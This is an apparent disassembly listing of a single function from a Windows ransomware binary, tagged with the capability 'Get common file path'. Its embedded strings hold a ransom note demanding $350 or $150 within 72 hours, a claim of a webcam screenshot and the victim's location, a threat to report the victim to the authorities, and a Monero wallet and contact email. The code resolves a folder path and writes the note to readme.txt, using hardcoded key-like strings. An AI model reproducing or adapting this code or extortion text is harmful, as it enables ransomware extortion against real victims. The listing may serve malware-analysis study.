Function at 0x14000b9e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x14003d1c0]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x48], r13d
mov byte [rbp + 0x40], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
xor r8d, r8d
lea rdx, [0x140030e3a]
lea rcx, [rbp + 0x48]
call fcn.140005f00
nop
lea rcx, [rbp + 0x40]
call fcn.14000dd40
nop
movabs r15, 0x7fffffffffffffff
movzx r12d, byte [rbp + 0x40]
test r12b, r12b
je 0x14000bb17
mov rax, r15
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 0x149
jb 0x14000c4b6
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x149
lea r9, str.Oops__you_ran_my_ransomware_n_nthe_payment_for_your_files_to_be_decrypted_is__350_nthere_is_a_time_file_stored_on_your_pc__starting_from_now_you_have_72_hours_to_pay_up_n_nive_also_took_a_screenshot_from_your_webcam_and_uploaded_it_on_my_server__got_your_location__if_you_dont_pay_i_will_report_you_to_the_feds_nscreenshot_taken_from
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp]
call fcn.140006550
nop
mov esi, 0x41
mov dword [rsp + 0x48], esi
lea r8d, [r13 + 1]
lea rdx, [0x140031028]
lea rcx, [rbp]
call fcn.140005ae0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
bts esi, 7
or esi, 2
mov dword [rsp + 0x48], esi
lea rdx, str.xmr_wallet_n45szWWPYdVN1bQDz6HKp3U4Fe93bCaEJB3TVazkKAiJfFTajyZ47TEch3v5C2AkT7rCjm77riMFGDQKQk8N6BiqBLH1irp3_nonce_you_pay_contact_the_email_below_with_proof_of_payment_n_naquipted_proton.me
movzx r12d, byte [rbp + 0x40]
jmp 0x14000bb1e
lea rdx, str._Oops__you_ran_my_ransomware_n_nthe_payment_for_your_files_to_be_decrypted_is__150_nthere_is_a_time_file_stored_on_your_pc__starting_from_now_you_have_72_hours_to_pay_up_n_nxmr_wallet_n45szWWPYdVN1bQDz6HKp3U4Fe93bCaEJB3TVazkKAiJfFTajyZ47TEch3v5C2AkT7rCjm77riMFGDQKQk8N6BiqBLH1irp3_nonce_you_pay_contact_the_email_below_with_proof_of_payment_n_naquipted_proton.me
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14000bb40
lea rcx, [rbp + 0x108]
call fcn.140005f00
nop
test sil, 2
je 0x14000bba5
and esi, 0xfffffffd
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14000bba5
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bb9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
test sil, 1
je 0x14000bbfd
and esi, 0xfffffffe
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000bbec
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbe7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bbe7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
movdqa xmm0, xmmword [0x140031700]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
mov r8d, 0x20
lea rdx, str.01234567890123456789012345678901
lea rcx, [rbp + 0x88]
call fcn.140005f00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x10
lea rdx, str.0123456789012345
lea rcx, [rbp + 0xc8]
call fcn.140005f00
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rsp + 0x60]
call fcn.140005120
mov rdi, rax
lea rax, [rbp]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp]
call fcn.140005120
mov rbx, rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x20]
call fcn.140005120
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140003ef0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x80]
call fcn.140005120
mov rdi, rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x60]
call fcn.140005120
mov rbx, rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x40]
call fcn.140005120
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.140003950
nop
or esi, 4
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
movups xmmword [rbp - 0x20], xmm0
test eax, eax
js 0x14000bd6a
lea rax, [rbp + 0x240]
inc r14
cmp byte [rax + r14], 0
jne 0x14000bd54
mov r8, r14
lea rdx, [rbp + 0x240]
jmp 0x14000bd74
xor r8d, r8d
lea rdx, [0x140030e3a]
lea rcx, [rbp - 0x20]
call fcn.140005f00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
mov r8d, 0xa
lea rdx, str.readme.txt
lea rcx, [rbp + 0x20]
call fcn.140005f00
nop
mov rax, r15
mov rcx, qword [rbp - 0x10]
sub rax, rcx
cmp rax, 1
jb 0x14000c4bc
lea r9, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r9, qword [rbp - 0x20]
mov qword [rsp + 0x30], 1
lea rax, [0x140030e70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x20]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140006550
or esi, 8
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140005ae0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or esi, 0x10
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000be82
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000be7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
movdqa xmm0, xmmword [0x140031700]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rbx, qword [rbp + 0x68]
lea rax, [0x140031008]
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 0x20
mov dword [rsp + 0x48], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x138], rsi
mov byte [rbp + 0x1b4], 0
mov byte [rbp + 0x1a9], 0
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x1b8], r13
mov rax, qword [0x140040c78]
mov qword [rbp + 0x1ac], rax
mov qword [rbp + 0x1a0], r13
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0x138]
call fcn.14000b180
test rax, rax
jne 0x14000bfb9
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
je 0x14000c04b
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0x130]
call fcn.14000b820
lea rcx, [rbp + 0x138]
call fcn.1400095a0
test rax, rax
jne 0x14000c04b
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
test r12b, r12b
je 0x14000c138
mov rax, qword [rbp - 0x10]
sub r15, rax
cmp r15, 0x16
jb 0x14000c4b0
lea r9, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r9, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0x16
lea rcx, str.webcam_screenshot.png
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x20]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp]
call fcn.140006550
nop
lea rdx, [rbp]
call fcn.14000e250
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000c0dc
lea rdx, str.Screenshot_saved_to:
call fcn.140009890
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, rax
call fcn.14000b820
jmp 0x14000c0e8
lea rdx, str.Failed_to_save_screenshot.
call fcn.140009890
lea rdx, [0x140009a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000c138
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c132
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c132
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
mov qword [rbp + 0x138], rsi
cmp qword [rbp + 0x1b8], 0
je 0x14000c1ad
mov rax, qword [rbp + 0x150]
lea rcx, [rbp + 0x1a8]
cmp qword [rax], rcx
jne 0x14000c1ad
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1c0]
mov qword [rax], rcx
mov rax, qword [rbp + 0x170]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x188]
mov dword [rax], edx
cmp byte [rbp + 0x1b4], 0
je 0x14000c1c2
lea rcx, [rbp + 0x138]
call fcn.1400095a0
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14000c22c
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c227
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c227
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
movdqa xmm0, xmmword [0x140031700]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000c27c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c276
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c276
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000c2bb
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c2b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c2b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14000c2ff
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c2fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c2fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x14000c35c
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c357
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
movdqa xmm0, xmmword [0x140031700]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14000c3b8
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c3b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14000c3fd
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c3f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14000c442
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c43c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c43c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14000c480
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c47b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c47b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026784
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.140026720
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400016e0
nop
call fcn.1400016e0
nop
call fcn.1400016e0
int3